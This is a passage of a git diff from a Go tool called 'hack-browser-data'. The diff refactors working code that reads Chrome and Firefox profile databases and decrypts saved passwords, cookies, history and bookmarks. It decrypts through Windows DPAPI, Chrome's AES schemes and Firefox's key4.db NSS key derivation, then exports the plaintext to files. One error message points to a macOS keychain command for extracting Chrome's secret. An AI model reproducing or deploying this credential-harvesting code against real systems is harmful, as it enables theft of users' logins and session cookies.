_, ok := cookieMap[host]; ok { - cookieMap[host] = append(cookieMap[host], cookie) - } else { - cookieMap[host] = []cookies{cookie} + if err != nil { + log.Debug(err) + continue } + h.history = append(h.history, data) } - FullData.CookieMap = cookieMap + return nil } -var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` - -func parseHistory() { - var historyList HistorySlice - h := history{} - historyDB, err := sql.Open("sqlite3", utils.History) +func (c *Cookies) ChromeParse(secretKey []byte) error { + cookie := cookies{} + c.cookies = make(map[string][]cookies) + cookieDB, err := sql.Open("sqlite3", utils.Cookies) defer func() { - if err := os.Remove(utils.History); err != nil { + if err := os.Remove(utils.Cookies); err != nil { log.Error(err) } }() defer func() { - if err := historyDB.Close(); err != nil { + if err := cookieDB.Close(); err != nil { log.Debug(err) } }() if err != nil { log.Debug(err) + return err } - err = historyDB.Ping() - rows, err := historyDB.Query(queryHistory) + err = cookieDB.Ping() + var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` + + rows, err := cookieDB.Query(queryCookie) defer func() { if err := rows.Close(); err != nil { log.Debug(err) @@ -266,63 +270,57 @@ func parseHistory() { }() for rows.Next() { var ( - url, title string - visitCount int - lastVisitTime int64 + key, host, path string + isSecure, isHTTPOnly, hasExpire, isPersistent int + createDate, expireDate int64 + value, encryptValue []byte ) - err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) - h = history{ - Url: url, - Title: title, - VisitCount: visitCount, - LastVisitTime: utils.TimeEpochFormat(lastVisitTime), + err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) + cookie = cookies{ + KeyName: key, + Host: host, + Path: path, + encryptValue: encryptValue, + IsSecure: utils.IntToBool(isSecure), + IsHTTPOnly: utils.IntToBool(isHTTPOnly), + HasExpire: utils.IntToBool(hasExpire), + IsPersistent: utils.IntToBool(isPersistent), + CreateDate: utils.TimeEpochFormat(createDate), + ExpireDate: utils.TimeEpochFormat(expireDate), } - if err != nil { - log.Debug(err) - continue + // remove prefix 'v10' + if secretKey == nil { + value, err = decrypt.DPApi(encryptValue) + } else { + value, err = decrypt.ChromePass(secretKey, encryptValue) } - historyList = append(historyList, h) - } - FullData.HistorySlice = historyList -} -func getBookmarkChildren(value gjson.Result) (children gjson.Result) { - b := bookmarks{} - b.ID = value.Get(bookmarkID).Int() - nodeType := value.Get(bookmarkType) - b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) - b.URL = value.Get(bookmarkUrl).String() - b.Name = value.Get(bookmarkName).String() - children = value.Get(bookmarkChildren) - if nodeType.Exists() { - b.Type = nodeType.String() - bookmarkList = append(bookmarkList, b) - if children.Exists() && children.IsArray() { - for _, v := range children.Array() { - children = getBookmarkChildren(v) - } + cookie.Value = string(value) + if _, ok := c.cookies[host]; ok { + c.cookies[host] = append(c.cookies[host], cookie) + } else { + c.cookies[host] = []cookies{cookie} } } - return children + return nil } -var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` -var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` - -// places.sqlite doc @https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Places/Database -func parseFirefoxData() { - var historyList HistorySlice +func (h *History) FirefoxParse() error { + var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` var ( - err error - keyDB *sql.DB - bookmarkRows, historyRows *sql.Rows - tempMap map[int64]string - bookmarkUrl string + err error + keyDB *sql.DB + historyRows *sql.Rows + tempMap map[int64]string ) tempMap = make(map[int64]string) - keyDB, err = sql.Open("sqlite3", utils.FirefoxData) + keyDB, err = sql.Open("sqlite3", FirefoxData) + if err != nil { + log.Error(err) + return err + } defer func() { - if err := os.Remove(utils.FirefoxData); err != nil { + if err := os.Remove(FirefoxData); err != nil { log.Error(err) } }() @@ -332,14 +330,11 @@ func parseFirefoxData() { log.Error(err) } }() - if err != nil { - log.Error(err) - } historyRows, err = keyDB.Query(queryFirefoxHistory) if err != nil { log.Error(err) + return err } - defer func() { if err := historyRows.Close(); err != nil { log.Error(err) @@ -352,7 +347,7 @@ func parseFirefoxData() { visitCount int ) err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount) - historyList = append(historyList, history{ + h.history = append(h.history, history{ Title: title, Url: url, VisitCount: visitCount, @@ -360,8 +355,28 @@ func parseFirefoxData() { }) tempMap[id] = url } - FullData.HistorySlice = historyList + return nil +} +func (b *Bookmarks) FirefoxParse() error { + var ( + err error + keyDB *sql.DB + bookmarkRows *sql.Rows + tempMap map[int64]string + bookmarkUrl string + ) + var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` + keyDB, err = sql.Open("sqlite3", FirefoxData) + if err != nil { + log.Error(err) + return err + } + defer func() { + if err := os.Remove(FirefoxData); err != nil { + log.Error(err) + } + }() bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) defer func() { if err := bookmarkRows.Close(); err != nil { @@ -377,7 +392,7 @@ func parseFirefoxData() { if url, ok := tempMap[id]; ok { bookmarkUrl = url } - bookmarkList = append(bookmarkList, bookmarks{ + b.bookmarks = append(b.bookmarks, bookmark{ ID: id, Name: title, Type: utils.BookMarkType(bType), @@ -385,195 +400,192 @@ func parseFirefoxData() { DateAdded: utils.TimeStampFormat(dateAdded / 1000000), }) } - FullData.BookmarkSlice = bookmarkList + return nil } -var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'` -var queryNssPrivate = `SELECT a11, a102 from nssPrivate` +var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` -func GetDecryptKey() (b [][]byte) { - var ( - err error - keyDB *sql.DB - pwdRows *sql.Rows - nssRows *sql.Rows - ) - defer func() { - if err := os.Remove(utils.FirefoxKey4DB); err != nil { - log.Error(err) - } - }() - keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB) - defer func() { - if err := keyDB.Close(); err != nil { - log.Error(err) - } - }() +func (c *Cookies) FirefoxParse() error { + cookie := cookies{} + c.cookies = make(map[string][]cookies) + cookieDB, err := sql.Open("sqlite3", FirefoxCookie) if err != nil { log.Debug(err) + return err } - err = keyDB.Ping() - pwdRows, err = keyDB.Query(queryPassword) defer func() { - if err := pwdRows.Close(); err != nil { + if err := os.Remove(FirefoxCookie); err != nil { log.Debug(err) } }() - for pwdRows.Next() { - var ( - item1, item2 []byte - ) - if err := pwdRows.Scan(&item1, &item2); err != nil { - log.Error(err) - continue + defer func() { + if err := cookieDB.Close(); err != nil { + log.Debug(err) } - b = append(b, item1, item2) - } + }() + err = cookieDB.Ping() + rows, err := cookieDB.Query(queryFirefoxCookie) if err != nil { log.Error(err) + return err } - nssRows, err = keyDB.Query(queryNssPrivate) defer func() { - if err := nssRows.Close(); err != nil { + if err := rows.Close(); err != nil { log.Debug(err) } }() - for nssRows.Next() { + for rows.Next() { var ( - a11, a102 []byte + name, value, host, path string + isSecure, isHttpOnly int + creationTime, expiry int64 ) - if err := nssRows.Scan(&a11, &a102); err != nil { - log.Debug(err) + err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly) + cookie = cookies{ + KeyName: name, + Host: host, + Path: path, + IsSecure: utils.IntToBool(isSecure), + IsHTTPOnly: utils.IntToBool(isHttpOnly), + CreateDate: utils.TimeStampFormat(creationTime / 1000000), + ExpireDate: utils.TimeStampFormat(expiry), + } + + cookie.Value = value + if _, ok := c.cookies[host]; ok { + c.cookies[host] = append(c.cookies[host], cookie) + } else { + c.cookies[host] = []cookies{cookie} } - b = append(b, a11, a102) } - return b + return nil } -func parseFirefoxKey4() { - h1 := GetDecryptKey() - globalSalt := h1[0] - metaBytes := h1[1] - nssA11 := h1[2] - nssA102 := h1[3] +func (l *Logins) FirefoxParse() error { + globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey() + if err != nil { + log.Error(err) + return err + } keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} - meta, err := utils.DecodeMeta(metaBytes) + meta, err := decrypt.DecodeMeta(metaBytes) if err != nil { log.Error("decrypt meta data failed", err) - return + return err } var masterPwd []byte - m, err := utils.DecryptMeta(globalSalt, masterPwd, meta) + m, err := decrypt.Meta(globalSalt, masterPwd, meta) if err != nil { log.Error("decrypt firefox failed", err) - return + return err } if bytes.Contains(m, []byte("password-check")) { log.Debugf("password-check success") m := bytes.Compare(nssA102, keyLin) if m == 0 { - nss, err := utils.DecodeNss(nssA11) + nss, err := decrypt.DecodeNss(nssA11) if err != nil { log.Error(err) - return + return err } log.Debugf("decrypt asn1 pbe success") - finallyKey, err := utils.DecryptNss(globalSalt, masterPwd, nss) + finallyKey, err := decrypt.Nss(globalSalt, masterPwd, nss) finallyKey = finallyKey[:24] if err != nil { log.Error(err) - return + return err + } + log.Debug("get firefox finally key success") + allLogins, err := getLoginData() + if err != nil { + return err } - log.Debugf("finally key", finallyKey, hex.EncodeToString(finallyKey)) - allLogins := GetLoginData() for _, v := range allLogins { - log.Debug(hex.EncodeToString(v.encryptUser)) - user, _ := utils.DecodeLogin(v.encryptUser) - log.Debug(hex.EncodeToString(v.encryptPass)) - pwd, _ := utils.DecodeLogin(v.encryptPass) - log.Debug(user, user.CipherText, user.Encrypted, user.Iv) - u, err := utils.Des3Decrypt(finallyKey, user.Iv, user.Encrypted) + user, _ := decrypt.DecodeLogin(v.encryptUser) + pwd, _ := decrypt.DecodeLogin(v.encryptPass) + u, err := decrypt.Des3Decrypt(finallyKey, user.Iv, user.Encrypted) if err != nil { log.Error(err) - return + return err } - p, err := utils.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted) + log.Debug("decrypt firefox success") + p, err := decrypt.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted) if err != nil { log.Error(err) - return + return err } - FullData.LoginDataSlice = append(FullData.LoginDataSlice, loginData{ + l.logins = append(l.logins, loginData{ LoginUrl: v.LoginUrl, - UserName: string(utils.PKCS5UnPadding(u)), - Password: string(utils.PKCS5UnPadding(p)), + UserName: string(decrypt.PKCS5UnPadding(u)), + Password: string(decrypt.PKCS5UnPadding(p)), CreateDate: v.CreateDate, }) + } } } + return nil } -var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` - -func parseFirefoxCookie() { - cookie := cookies{} - cookieMap := make(map[string][]cookies) - cookieDB, err := sql.Open("sqlite3", utils.FirefoxCookie) +func getDecryptKey() (item1, item2, a11, a102 []byte, err error) { + var ( + keyDB *sql.DB + pwdRows *sql.Rows + nssRows *sql.Rows + ) defer func() { - if err := os.Remove(utils.FirefoxCookie); err != nil { - log.Debug(err) + if err := os.Remove(utils.FirefoxKey4DB); err != nil { + log.Error(err) } }() + keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB) defer func() { - if err := cookieDB.Close(); err != nil { - log.Debug(err) + if err := keyDB.Close(); err != nil { + log.Error(err) } }() if err != nil { log.Debug(err) } - err = cookieDB.Ping() - rows, err := cookieDB.Query(queryFirefoxCookie) + var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'` + var queryNssPrivate = `SELECT a11, a102 from nssPrivate` + err = keyDB.Ping() + pwdRows, err = keyDB.Query(queryPassword) defer func() { - if err := rows.Close(); err != nil { + if err := pwdRows.Close(); err != nil { log.Debug(err) } }() - for rows.Next() { - var ( - name, value, host, path string - isSecure, isHttpOnly int - creationTime, expiry int64 - ) - err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly) - cookie = cookies{ - KeyName: name, - Host: host, - Path: path, - IsSecure: utils.IntToBool(isSecure), - IsHTTPOnly: utils.IntToBool(isHttpOnly), - CreateDate: utils.TimeStampFormat(creationTime / 1000000), - ExpireDate: utils.TimeStampFormat(expiry), + for pwdRows.Next() { + if err := pwdRows.Scan(&item1, &item2); err != nil { + log.Error(err) + continue } - - cookie.Value = value - if _, ok := cookieMap[host]; ok { - cookieMap[host] = append(cookieMap[host], cookie) - } else { - cookieMap[host] = []cookies{cookie} + } + if err != nil { + log.Error(err) + } + nssRows, err = keyDB.Query(queryNssPrivate) + defer func() { + if err := nssRows.Close(); err != nil { + log.Debug(err) + } + }() + for nssRows.Next() { + if err := nssRows.Scan(&a11, &a102); err != nil { + log.Debug(err) } } - FullData.CookieMap = cookieMap - + return item1, item2, a11, a102, nil } -func GetLoginData() (l []loginData) { - s, err := ioutil.ReadFile(utils.FirefoxLoginData) +func getLoginData() (l []loginData, err error) { + s, err := ioutil.ReadFile(FirefoxLoginData) if err != nil { - log.Warn(err) + return nil, err } defer func() { - if err := os.Remove(utils.FirefoxLoginData); err != nil { + if err := os.Remove(FirefoxLoginData); err != nil { log.Error(err) } }() @@ -599,3 +611,32 @@ func GetLoginData() (l []loginData) { } return } + +func (b *BrowserData) Sorted() { + sort.Slice(b.bookmarks, func(i, j int) bool { + return b.bookmarks[i].ID < b.bookmarks[j].ID + }) + sort.Slice(b.history, func(i, j int) bool { + return b.history[i].VisitCount > b.history[j].VisitCount + }) + sort.Sort(b.Logins) +} + +func (l Logins) Len() int { + return len(l.logins) +} + +func (l Logins) Less(i, j int) bool { + return l.logins[i].CreateDate.After(l.logins[j].CreateDate) +} + +func (l Logins) Swap(i, j int) { + l.logins[i], l.logins[j] = l.logins[j], l.logins[i] +} + +type Formatter interface { + ChromeParse(key []byte) error + FirefoxParse() error + OutPutJson(browser, dir string) error + OutPutCsv(browser, dir string) error +} diff --git a/core/decrypt/decrypt.go b/core/decrypt/decrypt.go new file mode 100644 index 0000000..7994cdd --- /dev/null +++ b/core/decrypt/decrypt.go @@ -0,0 +1,85 @@ +package decrypt + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/des" + "encoding/asn1" + "errors" + "hack-browser-data/log" +) + +var ( + errKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") + errPasswordIsEmpty = errors.New("password is empty") + errDecryptFailed = errors.New("decrypt failed, password is empty") +) + +func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return []byte{}, err + } + dst := make([]byte, len(encryptPass)) + mode := cipher.NewCBCDecrypter(block, iv) + mode.CryptBlocks(dst, encryptPass) + dst = PKCS5UnPadding(dst) + return dst, nil +} + +func PKCS5UnPadding(src []byte) []byte { + length := len(src) + unpad := int(src[length-1]) + return src[:(length - unpad)] +} +func Des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { + block, err := des.NewTripleDESCipher(key) + if err != nil { + log.Error(err) + return nil, err + } + blockMode := cipher.NewCBCDecrypter(block, iv) + sq := make([]byte, len(src)) + blockMode.CryptBlocks(sq, src) + return sq, nil +} + +func PaddingZero(s []byte, l int) []byte { + h := l - len(s) + if h <= 0 { + return s + } else { + for i := len(s); i < l; i++ { + s = append(s, 0) + } + return s + } +} + +/* +SEQUENCE (3 elem) + OCTET STRING (16 byte) + SEQUENCE (2 elem) + OBJECT IDENTIFIER 1.2.840.113549.3.7 des-EDE3-CBC (RSADSI encryptionAlgorithm) + OCTET STRING (8 byte) + OCTET STRING (16 byte) +*/ +type LoginPBE struct { + CipherText []byte + SequenceLogin + Encrypted []byte +} + +type SequenceLogin struct { + asn1.ObjectIdentifier + Iv []byte +} + +func DecodeLogin(decodeItem []byte) (pbe LoginPBE, err error) { + _, err = asn1.Unmarshal(decodeItem, &pbe) + if err != nil { + log.Error(err) + return + } + return pbe, nil +} diff --git a/core/decrypt/decrypt_darwin.go b/core/decrypt/decrypt_darwin.go new file mode 100644 index 0000000..26d8b11 --- /dev/null +++ b/core/decrypt/decrypt_darwin.go @@ -0,0 +1,115 @@ +package decrypt + +import ( + "crypto/hmac" + "crypto/sha1" + "encoding/asn1" + "hack-browser-data/log" +) + +var ( + chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} +) + +func ChromePass(key, encryptPass []byte) ([]byte, error) { + if len(encryptPass) > 3 { + if len(key) == 0 { + return nil, errKeyIsEmpty + } + m, err := aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) + return m, err + } else { + return nil, errDecryptFailed + } +} + +/* +SEQUENCE (2 elem) + SEQUENCE (2 elem) + OBJECT IDENTIFIER + SEQUENCE (2 elem) + OCTET STRING (20 byte) + INTEGER 1 + OCTET STRING (16 byte) +*/ + +type NssPBE struct { + SequenceA + Encrypted []byte +} + +type MetaPBE struct { + SequenceA + Encrypted []byte +} + +type SequenceA struct { + DecryptMethod asn1.ObjectIdentifier + SequenceB +} + +type SequenceB struct { + EntrySalt []byte + Len int +} + +func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) { + _, err = asn1.Unmarshal(metaBytes, &pbe) + if err != nil { + log.Error(err) + return + } + return +} + +func DPApi(data []byte) ([]byte, error) { + return nil, nil +} + +func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) { + _, err = asn1.Unmarshal(nssA11Bytes, &pbe) + if err != nil { + log.Error(err) + return + } + return +} + +func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { + return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) +} + +func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { + return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) +} + +func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) { + //byte[] GLMP; // GlobalSalt + MasterPassword + //byte[] HP; // SHA1(GLMP) + //byte[] HPES; // HP + EntrySalt + //byte[] CHP; // SHA1(HPES) + //byte[] PES; // EntrySalt completed to 20 bytes by zero + //byte[] PESES; // PES + EntrySalt + //byte[] k1; + //byte[] tk; + //byte[] k2; + //byte[] k; // final value conytaining key and iv + glmp := append(globalSalt, masterPwd...) + hp := sha1.Sum(glmp) + s := append(hp[:], entrySalt...) + chp := sha1.Sum(s) + pes := PaddingZero(entrySalt, 20) + tk := hmac.New(sha1.New, chp[:]) + tk.Write(pes) + pes = append(pes, entrySalt...) + k1 := hmac.New(sha1.New, chp[:]) + k1.Write(pes) + tkPlus := append(tk.Sum(nil), entrySalt...) + k2 := hmac.New(sha1.New, chp[:]) + k2.Write(tkPlus) + k := append(k1.Sum(nil), k2.Sum(nil)...) + iv := k[len(k)-8:] + key := k[:24] + log.Debug("get firefox pbe key and iv success") + return Des3Decrypt(key, iv, encrypted) +} diff --git a/utils/utils_linux.go b/core/decrypt/decrypt_linux.go similarity index 71% rename from utils/utils_linux.go rename to core/decrypt/decrypt_linux.go index 30263ab..516776a 100644 --- a/utils/utils_linux.go +++ b/core/decrypt/decrypt_linux.go @@ -1,4 +1,4 @@ -package utils +package decrypt import ( "crypto/hmac" @@ -7,7 +7,6 @@ import ( "encoding/asn1" "encoding/hex" "hack-browser-data/log" - "strings" "golang.org/x/crypto/pbkdf2" ) @@ -18,55 +17,26 @@ const ( ) var ( - iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} - command = []string{"security", "find-generic-password", "-wa"} - chromeSalt = []byte("saltysalt") - chromeKey []byte - browserList = map[string]struct { - ProfilePath string - Command string - }{ - "firefox": { - fireFoxProfilePath, - fireFoxCommand, - }, - } + chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} + chromeSalt = []byte("saltysalt") ) -func InitKey(string) error { - return nil -} - -func DecryptStringWithDPAPI(data []byte) (string, error) { - return string(data), nil -} - -func PickBrowser(name string) (browserDir, command string, err error) { - name = strings.ToLower(name) - if choice, ok := browserList[name]; ok { - return choice.ProfilePath, choice.Command, err - } - return "", "", errBrowserNotSupported -} - -func decryptChromeKey(chromePass []byte) { - chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) -} - -func DecryptChromePass(encryptPass []byte) (string, error) { +func ChromePass(key, encryptPass []byte) ([]byte, error) { if len(encryptPass) > 3 { - if len(chromeKey) == 0 { - return "", errKeyIsEmpty + if len(key) == 0 { + return nil, errKeyIsEmpty } - m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:]) - return string(m), err + m, err := aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) + return m, err } else { - return "", &DecryptError{ - err: errPasswordIsEmpty, - } + return nil, errDecryptFailed } } +func DPApi(data []byte) ([]byte, error) { + return nil, nil +} + /* SEQUENCE (2 elem) SEQUENCE (2 elem) @@ -146,11 +116,11 @@ func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) { return } -func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { +func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { return decryptMeta(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) } -func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { +func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { return decryptNss(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize) } diff --git a/utils/utils_windows.go b/core/decrypt/decrypt_windows.go similarity index 71% rename from utils/utils_windows.go rename to core/decrypt/decrypt_windows.go index e413cd8..1065c35 100644 --- a/utils/utils_windows.go +++ b/core/decrypt/decrypt_windows.go @@ -1,4 +1,4 @@ -package utils +package decrypt import ( "crypto/aes" @@ -6,18 +6,12 @@ import ( "crypto/sha1" "crypto/sha256" "encoding/asn1" - "encoding/base64" "encoding/hex" - "errors" "hack-browser-data/log" - "os" - "strings" "syscall" "unsafe" "golang.org/x/crypto/pbkdf2" - - "github.com/tidwall/gjson" ) const ( @@ -34,8 +28,6 @@ const ( ) var ( - chromeKey []byte - browserList = map[string]struct { ProfilePath string KeyPath string @@ -63,84 +55,48 @@ var ( } ) -func PickBrowser(name string) (browserDir, key string, err error) { - name = strings.ToLower(name) - if choice, ok := browserList[name]; ok { - if choice.KeyPath != "" { - return os.Getenv("USERPROFILE") + choice.ProfilePath, os.Getenv("USERPROFILE") + choice.KeyPath, nil - } else { - return os.Getenv("USERPROFILE") + choice.ProfilePath, "", nil - } - } - return "", "", errBrowserNotSupported -} - -var ( - errBase64DecodeFailed = errors.New("decode base64 failed") -) - -func InitKey(key string) error { - if key == "" { - VersionUnder80 = true - return nil - } - keyFile, err := ReadFile(key) - if err != nil { - return err - } - encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key") - if encryptedKey.Exists() { - pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String()) - if err != nil { - return errBase64DecodeFailed - } - chromeKey, err = decryptStringWithDPAPI(pureKey[5:]) - return nil - } else { - VersionUnder80 = true - return nil - } -} - -func DecryptChromePass(encryptPass []byte) (string, error) { +func ChromePass(encryptPass, key []byte) ([]byte, error) { if len(encryptPass) > 15 { // remove prefix 'v10' - return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15]) + return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15]) } else { - return "", errPasswordIsEmpty + return nil, errPasswordIsEmpty } } // chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc -func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) { +func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { block, err := aes.NewCipher(key) if err != nil { - return "", err + return nil, err } blockMode, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } origData, err := blockMode.Open(nil, nounce, crypted, nil) if err != nil { - return "", err + return nil, err } - return string(origData), nil + return origData, nil } -type DataBlob struct { +type dataBlob struct { cbData uint32 pbData *byte } -func NewBlob(d []byte) *DataBlob { +func NewBlob(d []byte) *dataBlob { if len(d) == 0 { - return &DataBlob{} + return &dataBlob{} } - return &DataBlob{ + return &dataBlob{ pbData: &d[0], cbData: uint32(len(d)), } } -func (b *DataBlob) ToByteArray() []byte { +func (b *dataBlob) ToByteArray() []byte { d := make([]byte, b.cbData) copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) return d @@ -152,7 +108,7 @@ func decryptStringWithDPAPI(data []byte) ([]byte, error) { dllKernel := syscall.NewLazyDLL("Kernel32.dll") procDecryptData := dllCrypt.NewProc("CryptUnprotectData") procLocalFree := dllKernel.NewProc("LocalFree") - var outBlob DataBlob + var outBlob dataBlob r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) if r == 0 { return nil, err @@ -161,18 +117,18 @@ func decryptStringWithDPAPI(data []byte) ([]byte, error) { return outBlob.ToByteArray(), nil } -func DecryptStringWithDPAPI(data []byte) (string, error) { +func DPApi(data []byte) ([]byte, error) { dllCrypt := syscall.NewLazyDLL("Crypt32.dll") dllKernel := syscall.NewLazyDLL("Kernel32.dll") procDecryptData := dllCrypt.NewProc("CryptUnprotectData") procLocalFree := dllKernel.NewProc("LocalFree") - var outBlob DataBlob + var outBlob dataBlob r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) if r == 0 { - return "", err + return nil, err } defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) - return string(outBlob.ToByteArray()), nil + return outBlob.ToByteArray(), nil } type NssPBE struct { @@ -233,11 +189,11 @@ func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) { return } -func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { +func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize) } -func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { +func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize) } diff --git a/core/output.go b/core/output.go deleted file mode 100644 index 150d88b..0000000 --- a/core/output.go +++ /dev/null @@ -1,156 +0,0 @@ -package core - -import ( - "bytes" - "encoding/json" - "fmt" - "hack-browser-data/log" - "hack-browser-data/utils" - "os" - "sort" - - "github.com/jszwec/csvutil" -) - -var utf8Bom = []byte{239, 187, 191} - -func (b BrowserData) OutPutCsv(dir, browser, format string) error { - switch { - case len(b.BookmarkSlice) != 0: - filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail %s", filename, err) - } - file.Write(utf8Bom) - data, err := csvutil.Marshal(b.BookmarkSlice) - file.Write(data) - fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename) - fallthrough - case len(b.LoginDataSlice) != 0: - filename := utils.FormatFileName(dir, browser, utils.LoginData, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - file.Write(utf8Bom) - data, err := csvutil.Marshal(b.LoginDataSlice) - file.Write(data) - fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename) - fallthrough - case len(b.CookieMap) != 0: - filename := utils.FormatFileName(dir, browser, utils.Cookies, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - var tempSlice []cookies - for _, v := range b.CookieMap { - tempSlice = append(tempSlice, v...) - } - file.Write(utf8Bom) - data, err := csvutil.Marshal(tempSlice) - file.Write(data) - fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename) - fallthrough - case len(b.HistorySlice) != 0: - filename := utils.FormatFileName(dir, browser, utils.History, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - file.Write(utf8Bom) - data, err := csvutil.Marshal(b.HistorySlice) - file.Write(data) - fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.HistorySlice), filename) - } - return nil -} - -func (b BrowserData) OutPutJson(dir, browser, format string) error { - switch { - case len(b.BookmarkSlice) != 0: - filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - enc.Encode(b.BookmarkSlice) - file.Write(w.Bytes()) - fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename) - fallthrough - case len(b.CookieMap) != 0: - filename := utils.FormatFileName(dir, browser, utils.Cookies, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) 